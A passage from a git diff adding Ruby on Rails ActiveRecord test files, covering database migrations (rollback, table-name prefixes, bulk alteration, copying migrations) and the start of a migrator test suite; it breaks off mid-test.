+ assert_kind_of BigDecimal, b.big_bank_balance
+ assert_equal BigDecimal("1000234000567.95"), b.big_bank_balance
+
+ # This one is fun. The 'value_of_e' field is defined as 'DECIMAL' with
+ # precision/scale explicitly left out. By the SQL standard, numbers
+ # assigned to this field should be truncated but that's seldom respected.
+ if current_adapter?(:PostgreSQLAdapter)
+ # - PostgreSQL changes the SQL spec on columns declared simply as
+ # "decimal" to something more useful: instead of being given a scale
+ # of 0, they take on the compile-time limit for precision and scale,
+ # so the following should succeed unless you have used really wacky
+ # compilation options
+ # - SQLite2 has the default behavior of preserving all data sent in,
+ # so this happens there too
+ assert_kind_of BigDecimal, b.value_of_e
+ assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e
+ elsif current_adapter?(:SQLite3Adapter)
+ # - SQLite3 stores a float, in violation of SQL
+ assert_kind_of BigDecimal, b.value_of_e
+ assert_in_delta BigDecimal("2.71828182845905"), b.value_of_e, 0.00000000000001
+ else
+ # - SQL standard is an integer
+ assert_kind_of Fixnum, b.value_of_e
+ assert_equal 2, b.value_of_e
+ end
+
+ GiveMeBigNumbers.down
+ assert_raise(ActiveRecord::StatementInvalid) { BigNumber.first }
+ end
+
+ def test_filtering_migrations
+ assert !Person.column_methods_hash.include?(:last_name)
+ assert !Reminder.table_exists?
+
+ name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
+ ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
+
+ Person.reset_column_information
+ assert Person.column_methods_hash.include?(:last_name)
+ assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+
+ ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
+
+ Person.reset_column_information
+ assert !Person.column_methods_hash.include?(:last_name)
+ assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+ end
+
+ class MockMigration < ActiveRecord::Migration
+ attr_reader :went_up, :went_down
+ def initialize
+ @went_up = false
+ @went_down = false
+ end
+
+ def up
+ @went_up = true
+ super
+ end
+
+ def down
+ @went_down = true
+ super
+ end
+ end
+
+ def test_instance_based_migration_up
+ migration = MockMigration.new
+ assert !migration.went_up, 'have not gone up'
+ assert !migration.went_down, 'have not gone down'
+
+ migration.migrate :up
+ assert migration.went_up, 'have gone up'
+ assert !migration.went_down, 'have not gone down'
+ end
+
+ def test_instance_based_migration_down
+ migration = MockMigration.new
+ assert !migration.went_up, 'have not gone up'
+ assert !migration.went_down, 'have not gone down'
+
+ migration.migrate :down
+ assert !migration.went_up, 'have gone up'
+ assert migration.went_down, 'have not gone down'
+ end
+
+ def test_migrator_one_up_with_exception_and_rollback
+ unless ActiveRecord::Base.connection.supports_ddl_transactions?
+ skip "not supported on #{ActiveRecord::Base.connection.class}"
+ end
+
+ assert_not Person.column_methods_hash.include?(:last_name)
+
+ migration = Class.new(ActiveRecord::Migration) {
+ def version; 100 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
+
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+ e = assert_raise(StandardError) { migrator.migrate }
+
+ assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+
+ Person.reset_column_information
+ assert_not Person.column_methods_hash.include?(:last_name),
+ "On error, the Migrator should revert schema changes but it did not."
+ end
+
+ def test_migrator_one_up_with_exception_and_rollback_using_run
+ unless ActiveRecord::Base.connection.supports_ddl_transactions?
+ skip "not supported on #{ActiveRecord::Base.connection.class}"
+ end
+
+ assert_not Person.column_methods_hash.include?(:last_name)
+
+ migration = Class.new(ActiveRecord::Migration) {
+ def version; 100 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
+
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+
+ e = assert_raise(StandardError) { migrator.run }
+
+ assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
+
+ Person.reset_column_information
+ assert_not Person.column_methods_hash.include?(:last_name),
+ "On error, the Migrator should revert schema changes but it did not."
+ end
+
+ def test_migration_without_transaction
+ unless ActiveRecord::Base.connection.supports_ddl_transactions?
+ skip "not supported on #{ActiveRecord::Base.connection.class}"
+ end
+
+ assert_not Person.column_methods_hash.include?(:last_name)
+
+ migration = Class.new(ActiveRecord::Migration) {
+ self.disable_ddl_transaction!
+
+ def version; 101 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
+
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+ e = assert_raise(StandardError) { migrator.migrate }
+ assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
+
+ Person.reset_column_information
+ assert Person.column_methods_hash.include?(:last_name),
+ "without ddl transactions, the Migrator should not rollback on error but it did."
+ ensure
+ Person.reset_column_information
+ if Person.column_methods_hash.include?(:last_name)
+ Person.connection.remove_column('people', 'last_name')
+ end
+ end
+
+ def test_schema_migrations_table_name
+ ActiveRecord::Base.table_name_prefix = "prefix_"
+ ActiveRecord::Base.table_name_suffix = "_suffix"
+ Reminder.reset_table_name
+ assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+ ActiveRecord::Base.table_name_prefix = ""
+ ActiveRecord::Base.table_name_suffix = ""
+ Reminder.reset_table_name
+ assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+ end
+
+ def test_proper_table_name
+ assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
+ assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
+ assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
+ Reminder.reset_table_name
+ assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
+
+ # Use the model's own prefix/suffix if a model is given
+ ActiveRecord::Base.table_name_prefix = "ARprefix_"
+ ActiveRecord::Base.table_name_suffix = "_ARsuffix"
+ Reminder.table_name_prefix = 'prefix_'
+ Reminder.table_name_suffix = '_suffix'
+ Reminder.reset_table_name
+ assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
+ Reminder.table_name_prefix = ''
+ Reminder.table_name_suffix = ''
+ Reminder.reset_table_name
+
+ # Use AR::Base's prefix/suffix if string or symbol is given
+ ActiveRecord::Base.table_name_prefix = "prefix_"
+ ActiveRecord::Base.table_name_suffix = "_suffix"
+ Reminder.reset_table_name
+ assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
+ assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+ end
+
+ def test_rename_table_with_prefix_and_suffix
+ assert !Thing.table_exists?
+ ActiveRecord::Base.table_name_prefix = 'p_'
+ ActiveRecord::Base.table_name_suffix = '_s'
+ Thing.reset_table_name
+ Thing.reset_sequence_name
+ WeNeedThings.up
+
+ assert Thing.create("content" => "hello world")
+ assert_equal "hello world", Thing.first.content
+
+ RenameThings.up
+ Thing.table_name = "p_awesome_things_s"
+
+ assert_equal "hello world", Thing.first.content
+ ensure
+ Thing.reset_table_name
+ Thing.reset_sequence_name
+ end
+
+ def test_add_drop_table_with_prefix_and_suffix
+ assert !Reminder.table_exists?
+ ActiveRecord::Base.table_name_prefix = 'prefix_'
+ ActiveRecord::Base.table_name_suffix = '_suffix'
+ Reminder.reset_table_name
+ Reminder.reset_sequence_name
+ WeNeedReminders.up
+ assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+ assert_equal "hello world", Reminder.first.content
+
+ WeNeedReminders.down
+ assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+ ensure
+ Reminder.reset_sequence_name
+ end
+
+ def test_create_table_with_binary_column
+ Person.connection.drop_table :binary_testings rescue nil
+
+ assert_nothing_raised {
+ Person.connection.create_table :binary_testings do |t|
+ t.column "data", :binary, :null => false
+ end
+ }
+
+ columns = Person.connection.columns(:binary_testings)
+ data_column = columns.detect { |c| c.name == "data" }
+
+ assert_nil data_column.default
+
+ Person.connection.drop_table :binary_testings rescue nil
+ end
+
+ def test_create_table_with_custom_sequence_name
+ skip "not supported" unless current_adapter? :OracleAdapter
+
+ # table name is 29 chars, the standard sequence name will
+ # be 33 chars and should be shortened
+ assert_nothing_raised do
+ begin
+ Person.connection.create_table :table_with_name_thats_just_ok do |t|
+ t.column :foo, :string, :null => false
+ end
+ ensure
+ Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
+ end
+ end
+
+ # should be all good w/ a custom sequence name
+ assert_nothing_raised do
+ begin
+ Person.connection.create_table :table_with_name_thats_just_ok,
+ :sequence_name => 'suitably_short_seq' do |t|
+ t.column :foo, :string, :null => false
+ end
+
+ Person.connection.execute("select suitably_short_seq.nextval from dual")
+
+ ensure
+ Person.connection.drop_table :table_with_name_thats_just_ok,
+ :sequence_name => 'suitably_short_seq' rescue nil
+ end
+ end
+
+ # confirm the custom sequence got dropped
+ assert_raise(ActiveRecord::StatementInvalid) do
+ Person.connection.execute("select suitably_short_seq.nextval from dual")
+ end
+ end
+
+ def test_out_of_range_limit_should_raise
+ skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+
+ Person.connection.drop_table :test_limits rescue nil
+ assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+ Person.connection.create_table :test_integer_limits, :force => true do |t|
+ t.column :bigone, :integer, :limit => 10
+ end
+ end
+
+ unless current_adapter?(:PostgreSQLAdapter)
+ assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+ Person.connection.create_table :test_text_limits, :force => true do |t|
+ t.column :bigtext, :text, :limit => 0xfffffffff
+ end
+ end
+ end
+
+ Person.connection.drop_table :test_limits rescue nil
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
+
+class ReservedWordsMigrationTest < ActiveRecord::TestCase
+ def test_drop_index_from_table_named_values
+ connection = Person.connection
+ connection.create_table :values, :force => true do |t|
+ t.integer :value
+ end
+
+ assert_nothing_raised do
+ connection.add_index :values, :value
+ connection.remove_index :values, :column => :value
+ end
+
+ connection.drop_table :values rescue nil
+ end
+end
+
+class ExplicitlyNamedIndexMigrationTest < ActiveRecord::TestCase
+ def test_drop_index_by_name
+ connection = Person.connection
+ connection.create_table :values, force: true do |t|
+ t.integer :value
+ end
+
+ assert_nothing_raised ArgumentError do
+ connection.add_index :values, :value, name: 'a_different_name'
+ connection.remove_index :values, column: :value, name: 'a_different_name'
+ end
+
+ connection.drop_table :values rescue nil
+ end
+end
+
+if ActiveRecord::Base.connection.supports_bulk_alter?
+ class BulkAlterTableMigrationsTest < ActiveRecord::TestCase
+ def setup
+ @connection = Person.connection
+ @connection.create_table(:delete_me, :force => true) {|t| }
+ Person.reset_column_information
+ Person.reset_sequence_name
+ end
+
+ def teardown
+ Person.connection.drop_table(:delete_me) rescue nil
+ end
+
+ def test_adding_multiple_columns
+ assert_queries(1) do
+ with_bulk_change_table do |t|
+ t.column :name, :string
+ t.string :qualification, :experience
+ t.integer :age, :default => 0
+ t.date :birthdate
+ t.timestamps
+ end
+ end
+
+ assert_equal 8, columns.size
+ [:name, :qualification, :experience].each {|s| assert_equal :string, column(s).type }
+ assert_equal 0, column(:age).default
+ end
+
+ def test_removing_columns
+ with_bulk_change_table do |t|
+ t.string :qualification, :experience
+ end
+
+ [:qualification, :experience].each {|c| assert column(c) }
+
+ assert_queries(1) do
+ with_bulk_change_table do |t|
+ t.remove :qualification, :experience
+ t.string :qualification_experience
+ end
+ end
+
+ [:qualification, :experience].each {|c| assert ! column(c) }
+ assert column(:qualification_experience)
+ end
+
+ def test_adding_indexes
+ with_bulk_change_table do |t|
+ t.string :username
+ t.string :name
+ t.integer :age
+ end
+
+ # Adding an index fires a query every time to check if an index already exists or not
+ assert_queries(3) do
+ with_bulk_change_table do |t|
+ t.index :username, :unique => true, :name => :awesome_username_index
+ t.index [:name, :age]
+ end
+ end
+
+ assert_equal 2, indexes.size
+
+ name_age_index = index(:index_delete_me_on_name_and_age)
+ assert_equal ['name', 'age'].sort, name_age_index.columns.sort
+ assert ! name_age_index.unique
+
+ assert index(:awesome_username_index).unique
+ end
+
+ def test_removing_index
+ with_bulk_change_table do |t|
+ t.string :name
+ t.index :name
+ end
+
+ assert index(:index_delete_me_on_name)
+
+ assert_queries(3) do
+ with_bulk_change_table do |t|
+ t.remove_index :name
+ t.index :name, :name => :new_name_index, :unique => true
+ end
+ end
+
+ assert ! index(:index_delete_me_on_name)
+
+ new_name_index = index(:new_name_index)
+ assert new_name_index.unique
+ end
+
+ def test_changing_columns
+ with_bulk_change_table do |t|
+ t.string :name
+ t.date :birthdate
+ end
+
+ assert ! column(:name).default
+ assert_equal :date, column(:birthdate).type
+
+ # One query for columns (delete_me table)
+ # One query for primary key (delete_me table)
+ # One query to do the bulk change
+ assert_queries(3, :ignore_none => true) do
+ with_bulk_change_table do |t|
+ t.change :name, :string, :default => 'NONAME'
+ t.change :birthdate, :datetime
+ end
+ end
+
+ assert_equal 'NONAME', column(:name).default
+ assert_equal :datetime, column(:birthdate).type
+ end
+
+ protected
+
+ def with_bulk_change_table
+ # Reset columns/indexes cache as we're changing the table
+ @columns = @indexes = nil
+
+ Person.connection.change_table(:delete_me, :bulk => true) do |t|
+ yield t
+ end
+ end
+
+ def column(name)
+ columns.detect {|c| c.name == name.to_s }
+ end
+
+ def columns
+ @columns ||= Person.connection.columns('delete_me')
+ end
+
+ def index(name)
+ indexes.detect {|i| i.name == name.to_s }
+ end
+
+ def indexes
+ @indexes ||= Person.connection.indexes('delete_me')
+ end
+ end # AlterTableMigrationsTest
+
+end
+
+class CopyMigrationsTest < ActiveRecord::TestCase
+ def setup
+ end
+
+ def clear
+ ActiveRecord::Base.timestamped_migrations = true
+ to_delete = Dir[@migrations_path + "/*.rb"] - @existing_migrations
+ File.delete(*to_delete)
+ end
+
+ def test_copying_migrations_without_timestamps
+ ActiveRecord::Base.timestamped_migrations = false
+ @migrations_path = MIGRATIONS_ROOT + "/valid"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
+ assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+ assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
+
+ expected = "# This migration comes from bukkits (originally 1)"
+ assert_equal expected, IO.readlines(@migrations_path + "/4_people_have_hobbies.bukkits.rb")[0].chomp
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ assert copied.empty?
+ ensure
+ clear
+ end
+
+ def test_copying_migrations_without_timestamps_from_2_sources
+ ActiveRecord::Base.timestamped_migrations = false
+ @migrations_path = MIGRATIONS_ROOT + "/valid"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ sources = {}
+ sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
+ sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
+ ActiveRecord::Migration.copy(@migrations_path, sources)
+ assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+ assert File.exists?(@migrations_path + "/6_create_articles.omg.rb")
+ assert File.exists?(@migrations_path + "/7_create_comments.omg.rb")
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ ActiveRecord::Migration.copy(@migrations_path, sources)
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ ensure
+ clear
+ end
+
+ def test_copying_migrations_with_timestamps
+ @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+ assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
+ @migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
+ assert_equal expected, copied.map(&:filename)
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ assert copied.empty?
+ end
+ ensure
+ clear
+ end
+
+ def test_copying_migrations_with_timestamps_from_2_sources
+ @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ sources = {}
+ sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+ sources[:omg] = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
+
+ Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ copied = ActiveRecord::Migration.copy(@migrations_path, sources)
+ assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exists?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+ assert File.exists?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+ assert_equal 4, copied.length
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ ActiveRecord::Migration.copy(@migrations_path, sources)
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ end
+ ensure
+ clear
+ end
+
+ def test_copying_migrations_with_timestamps_to_destination_with_timestamps_in_future
+ @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+ ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+ assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ assert copied.empty?
+ end
+ ensure
+ clear
+ end
+
+ def test_copying_migrations_preserving_magic_comments
+ ActiveRecord::Base.timestamped_migrations = false
+ @migrations_path = MIGRATIONS_ROOT + "/valid"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
+ assert File.exists?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
+ assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
+
+ expected = "# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
+ assert_equal expected, IO.readlines(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")[0..1].join.chomp
+
+ files_count = Dir[@migrations_path + "/*.rb"].length
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
+ assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+ assert copied.empty?
+ ensure
+ clear
+ end
+
+ def test_skipping_migrations
+ @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ sources = {}
+ sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+ sources[:omg] = MIGRATIONS_ROOT + "/to_copy_with_name_collision"
+
+ skipped = []
+ on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
+ copied = ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
+ assert_equal 2, copied.length
+
+ assert_equal 1, skipped.length
+ assert_equal ["omg PeopleHaveHobbies"], skipped
+ ensure
+ clear
+ end
+
+ def test_skip_is_not_called_if_migrations_are_from_the_same_plugin
+ @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+ @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+ sources = {}
+ sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+
+ skipped = []
+ on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
+ copied = ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
+ ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
+
+ assert_equal 2, copied.length
+ assert_equal 0, skipped.length
+ ensure
+ clear
+ end
+
+ def test_copying_migrations_to_non_existing_directory
+ @migrations_path = MIGRATIONS_ROOT + "/non_existing"
+ @existing_migrations = []
+
+ Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+ assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert_equal 2, copied.length
+ end
+ ensure
+ clear
+ Dir.delete(@migrations_path)
+ end
+
+ def test_copying_migrations_to_empty_directory
+ @migrations_path = MIGRATIONS_ROOT + "/empty"
+ @existing_migrations = []
+
+ Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+ assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert_equal 2, copied.length
+ end
+ ensure
+ clear
+ end
+end
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
new file mode 100644
index 0000000..b5a69c4
--- /dev/null
+++ b/activerecord/test/cases/migrator_test.rb
@@ -0,0 +1,384 @@
+require "cases/helper"
+require "cases/migration/helper"
+
+module ActiveRecord
+ class MigratorTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ # Use this class to sense if migrations have gone
+ # up or down.
+ class Sensor < ActiveRecord::Migration
+ attr_reader :went_up, :went_down
+
+ def initialize name = self.class.name, version = nil
+ super
+ @went_up = false
+ @went_down = false
+ end
+
+ def up; @went_up = true; end
+ def down; @went_down = true; end
+ end
+
+ def setup
+ super
+ ActiveRecord::SchemaMigration.create_table
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ end
+
+ def teardown
+ super
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ ActiveRecord::Migration.verbose = true
+ end
+
+ def test_migrator_with_duplicate_names
+ assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+ list = [Migration.new('Chunky'), Migration.new('Chunky')]
+ ActiveRecord::Migrator.new(:up, list)
+ end
+ end
+
+ def test_migrator_with_duplicate_versions
+ assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+ list = [Migration.new('Foo', 1), Migration.new('Bar', 1)]
+ ActiveRecord::Migrator.new(:up, list)
+ end
+ end
+
+ def test_migrator_with_missing_version_numbers
+ assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+ list = [Migration.new('Foo', 1), Migration.new('Bar', 2)]
+ ActiveRecord::Migrator.new(:up, list, 3).run
+ end
+ end
+
+ def test_finds_migrations
+ migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
+
+ [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+ assert_equal migrations[i].version, pair.first
+ assert_equal migrations[i].name, pair.last
+ end
+ end
+
+ def test_finds_migrations_in_subdirectories
+ migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
+
+ [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+ assert_equal migrations[i].version, pair.first
+ assert_equal migrations[i].name, pair.last
+ end
+ end
+
+ def test_finds_migrations_from_two_directories
+ directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
+ migrations = ActiveRecord::Migrator.migrations directories
+
+ [[20090101010101, "PeopleHaveHobbies"],
+ [20090101010202, "PeopleHaveDescriptions"],
+ [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
+ [20100201010101, "ValidWithTimestampsWeNeedReminders"],
+ [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
+ assert_equal pair.first, migrations[i].version
+ assert_equal pair.last, migrations[i].name
+ end
+ end
+
+ def test_finds_migrations_in_numbered_directory
+ migrations = ActiveRecord::Migrator.migrations [MIGRATIONS_ROOT + '/10_urban']
+ assert_equal 9, migrations[0].version
+ assert_equal 'AddExpressions', migrations[0].name
+ end
+
+ def test_deprecated_constructor
+ assert_deprecated do
+ ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid")
+ end
+ end
+
+ def test_relative_migrations
+ list = Dir.chdir(MIGRATIONS_ROOT) do
+ ActiveRecord::Migrator.migrations("valid/")
+ end
+
+ migration_proxy = list.find { |item|
+ item.name == 'ValidPeopleHaveLastNames'
+ }
+ assert migration_proxy, 'should find pending migration'
+ end
+
+ def test_finds_pending_migrations
+ ActiveRecord::SchemaMigration.create!(:version => '1')
+ migration_list = [ Migration.new('foo', 1), Migration.new('bar', 3) ]
+ migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
+
+ assert_equal 1, migrations.size
+ assert_equal migration_list.last, migrations.first
+ end
+
+ def test_migrator_interleaved_migrations
+ pass_one = [Sensor.new('One', 1)]
+
+ ActiveRecord::Migrator.new(:up, pass_one).migrate
+ assert pass_one.first.went_up
+ assert_not pass_one.first.went_down
+
+ pass_two = [Sensor.new('One', 1), Sensor.new('Three', 3)]
+ ActiveRecord::Migrator.new(:up, pass_two).migrate
+ assert_not pass_two[0].went_up
+ assert pass_two[1].went_up
+ assert pass_two.all? { |x| !x.went_down }
+
+ pass_three = [Sensor.new('One', 1),
+ Sensor.new('Two', 2),
+ Sensor.new('Three', 3)]
+
+ ActiveRecord::Migrator.new(:down, pass_three).migrate
+ assert pass_three[0].went_down
+ assert_not pass_three[1].went_down
+ assert pass_three[2].went_down
+ end
+
+ def test_up_calls_up
+ migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ assert migrations.all? { |m| m.went_up }
+ assert migrations.all? { |m| !m.went_down }
+ assert_equal 2, ActiveRecord::Migrator.current_version
+ end
+
+ def test_down_calls_down
+ test_up_calls_up
+
+ migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+ ActiveRecord::Migrator.new(:down, migrations).migrate
+ assert migrations.all? { |m| !m.went_up }
+ assert migrations.all? { |m| m.went_down }
+ assert_equal 0, ActiveRecord::Migrator.current_version
+ end
+
+ def test_current_version
+ ActiveRecord::SchemaMigration.create!(:version => '1000')
+ assert_equal 1000, ActiveRecord::Migrator.current_version
+ end
+
+ def test_migrator_one_up
+ calls, migrations = sensors(3)
+
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
+
+ ActiveRecord::Migrator.new(:up, migrations, 2).migrate
+ assert_equal [[:up, 2]], calls
+ end
+
+ def test_migrator_one_down
+ calls, migrations = sensors(3)
+
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+ calls.clear
+
+ ActiveRecord::Migrator.new(:down, migrations, 1).migrate
+
+ assert_equal [[:down, 3], [:down, 2]], calls
+ end
+
+ def test_migrator_one_up_one_down
+ calls, migrations = sensors(3)
+
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
+
+ ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+ assert_equal [[:down, 1]], calls
+ end
+
+ def test_migrator_double_up
+ calls, migrations = sensors(3)
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [[:up, 1]], calls
+ calls.clear
+
+ ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+ assert_equal [], calls
+ end
+
+ def test_migrator_double_down
+ calls, migrations = sensors(3)
+
+ assert_equal(0, ActiveRecord::Migrator.current_version)
+
+ ActiveRecord::Migrator.new(:up, migrations, 1).run
+ assert_equal [[:up, 1]], calls
+ calls.clear
+
+ ActiveRecord::Migrator.new(:down, migrations, 1).run
+ assert_equal [[:down, 1]], calls
+ calls.clear
+
+ ActiveRecord::Migrator.new(:down, migrations, 1).run
